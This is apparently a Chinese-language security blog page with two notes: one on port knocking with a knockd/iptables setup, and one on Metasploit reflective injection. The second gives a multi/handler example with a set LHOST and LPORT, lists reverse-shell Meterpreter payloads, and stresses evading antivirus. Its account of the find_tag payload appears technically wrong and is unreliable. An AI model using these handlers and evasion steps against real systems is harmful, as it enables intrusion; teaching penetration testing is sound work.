### 🔐 Port Knocking(端口敲门)简介

Port Knocking**(端口敲门)是一种基于网络通信的隐蔽技术,用于在未经授权的情况下隐藏网络服务的入口点。只有完成特定的**敲门序列**(特定端口的访问顺序或数据模式)后,目标系统的服务端口才会开放,允许后续的通信。

这种技术主要应用于增强网络安全,防止端口扫描和未授权访问。

---

### 🛠 **Port Knocking 的工作原理


1. 默认端口关闭
服务器的服务端口(如 SSH、RDP 等)在默认状态下是关闭的,不响应连接请求。

2. 敲门序列检测
客户端按照一定顺序(例如 TCP/UDP 包的目标端口号)尝试连接预定义的端口。这些连接不会真正打开端口,而是作为敲门信号被监听器记录。

3. 验证敲门序列
服务器的 Port Knocking 守护进程会验证客户端发出的敲门序列是否正确。如果匹配,目标服务端口(如 22 号 SSH 端口)会临时开放。

4. 建立连接
客户端在目标端口开放后,可以正常连接到服务,完成通信。

5. 端口关闭
在设定的时间后,端口会重新关闭,恢复隐蔽状态。

---

### 🧩 Port Knocking 的常见实现方式

1. 基于 TCP/UDP 端口扫描
客户端按顺序尝试连接几个特定的 TCP/UDP 端口。例如,敲击顺序为 `1234 -> 5678 -> 91011`,正确的顺序才能触发端口开放。

2. 基于特定数据包的 Payload
通过在敲门包中嵌入密码或加密信息,进一步增强安全性。

3. 隐蔽型敲门
使用非标准端口号或特定协议(如 ICMP Ping 包)作为敲门信号。

---

### 🛡 Port Knocking 的优缺点

#### 优点:
1. 增强安全性:
隐藏端口,避免被简单的端口扫描工具发现。

2. 轻量化:
不需要占用大量资源或额外的网络带宽。

3. 兼容性强:
可用于现有的防火墙和服务配置。

#### 缺点:
1. 容易被监控或重放攻击利用:
如果敲门序列是明文传输,可能被监听并复制。

2. 复杂性增加:
客户端和服务端的配置可能不直观,导致管理和使用不便。

3. 对错误序列的容错性低:
敲门顺序或网络延迟可能导致误触发。

---

### 🔧 Port Knocking 实现示例

以下是基于 iptablesknockd 的实现示例:

#### 服务端配置:
1. 安装 `knockd`:
   sudo apt install knockd
   


2. 编辑 /etc/knockd.conf 配置文件:
   [options]
   logfile = /var/log/knockd.log

   [openSSH]
   sequence = 7000,8000,9000
   seq_timeout = 5
   command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn

   [closeSSH]
   sequence = 9000,8000,7000
   seq_timeout = 5
   command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn
   


3. 启动 `knockd`:
   sudo systemctl start knockd
   


#### 客户端敲门:
使用 `knock` 命令:
knock 192.168.1.100 7000 8000 9000
ssh user@192.168.1.100


---

### 🌐 Port Knocking 的应用场景
1. 隐藏敏感服务端口:
防止 SSH、VPN 等端口被暴力破解工具攻击。

2. 应急接入机制:
在无需长期暴露端口的情况下,为管理员提供备用访问通道。

3. 网络蜜罐增强:
配合蜜罐系统,诱导攻击者触发错误敲门序列,记录其行为。

---

### 🚀 增强安全的建议
1. 使用加密的敲门序列:
结合加密协议(如 HMAC)确保序列不被嗅探和伪造。

2. 结合动态防火墙:
配置时限短的动态规则,减少端口开放时间。

3. 审计和监控:
定期检查 knockd 的日志,发现异常敲门行为。

---

### 🔑 关键词
#PortKnocking #端口敲门 #网络安全 #隐蔽技术 #防火墙
### Metasploit 反射注入 (Reflective Injection) 概述

反射注入(Reflective Injection) 是一种绕过安全防护机制的技术,特别是在执行恶意代码时,它可以避开传统的文件写入监控和防病毒检测。Metasploit 框架中的一些有效载荷使用了这种技术来将 Meterpreter 或其他恶意代码注入到目标进程中,而不依赖于写入磁盘。这种技术在渗透测试中非常有效,尤其是在面对强大防护的目标时。

### 反射注入的工作原理

1. 无文件注入
反射注入的关键特点是 不将任何恶意文件写入磁盘**。而是通过在目标进程的内存中直接加载恶意代码来执行。这使得反射注入绕过了传统的基于文件的防御措施(如文件完整性检查、防病毒软件等)。

2. **直接加载到内存中

反射注入技术通过注入代码到目标进程的内存中执行,目标进程本身并不需要从磁盘上加载任何文件。因此,这种方式对于恶意代码检测是极具挑战性的。

3. 执行 Meterpreter 或其他有效载荷
Metasploit 使用反射注入来将 Meterpreter shell 或其他有效载荷直接注入到目标进程的内存空间中。通常,这些有效载荷通过一种叫做 stager 的阶段加载程序(比如 `find_tag`)来启动。这些 stager 会请求进一步的恶意代码执行,最终完全控制目标。

4. 隐蔽性强
反射注入是一种非常隐蔽的攻击方式,目标系统几乎无法检测到恶意代码的执行,特别是当没有文件在硬盘上创建时。

### 在 Metasploit 中使用反射注入

Metasploit 中有一些有效载荷是专门设计用来进行反射注入的。例如,`windows/meterpreter/find_tag` 就是一个使用反射注入的有效载荷,它不需要将任何文件写入磁盘,而是通过寻找目标进程的内存标签来执行恶意代码。

#### 使用示例
use exploit/multi/handler
set PAYLOAD windows/meterpreter/find_tag
set LHOST 10.10.13.37
set LPORT 4444
run


### 反射注入的优点

1. 绕过杀软和防病毒软件
由于恶意代码不依赖于硬盘上的文件,许多基于文件的防病毒软件和杀毒工具很难检测到反射注入攻击。

2. 避免文件系统检测
反射注入不涉及文件写入,因此可以避开很多文件监控和文件扫描工具的检测。攻击者可以在目标主机的内存中执行恶意代码,而不会留下痕迹。

3. 高隐蔽性
攻击者在执行反射注入时,目标系统不会察觉到明显的恶意活动(如文件写入、进程启动等),因此反射注入是一种高度隐蔽的攻击手段。

### 反射注入的局限性

1. 复杂性
反射注入技术较为复杂,要求攻击者熟悉目标系统的进程结构和内存布局,必须能够精确注入代码。

2. 目标程序要求高
反射注入需要目标程序能够加载并执行注入的代码。通常,目标进程必须具有足够的权限,且允许外部注入代码。

3. 反侦察工具的防护
虽然反射注入在许多情况下能够绕过防病毒软件,但一些高级的反侦察工具、内存分析工具或者沙箱环境仍然可能检测到内存中的恶意代码。

### 反射注入在 Metasploit 中的常见有效载荷

- `windows/meterpreter/find_tag`**:用于在 Windows 系统中通过反射注入技术启动 Meterpreter 会话。
-
windows/meterpreter/reverse_https:适用于 Windows 的反向 HTTPS Meterpreter shell。
-
windows/shell/reverse_tcp**:反向 TCP Shell,适用于反射注入。

### 总结
反射注入是一种隐蔽且强大的技术,可以有效绕过文件基础的防御措施,直接在目标系统的内存中注入并执行恶意代码。在 Metasploit 中,利用反射注入的有效载荷可以让渗透测试人员更加高效地控制目标系统,尤其是在面对强大防护的环境时。

### 关键词
#Metasploit #反射注入 #find_tag #Meterpreter #隐蔽性 #无文件攻击 #渗透测试
 
 
Back to Top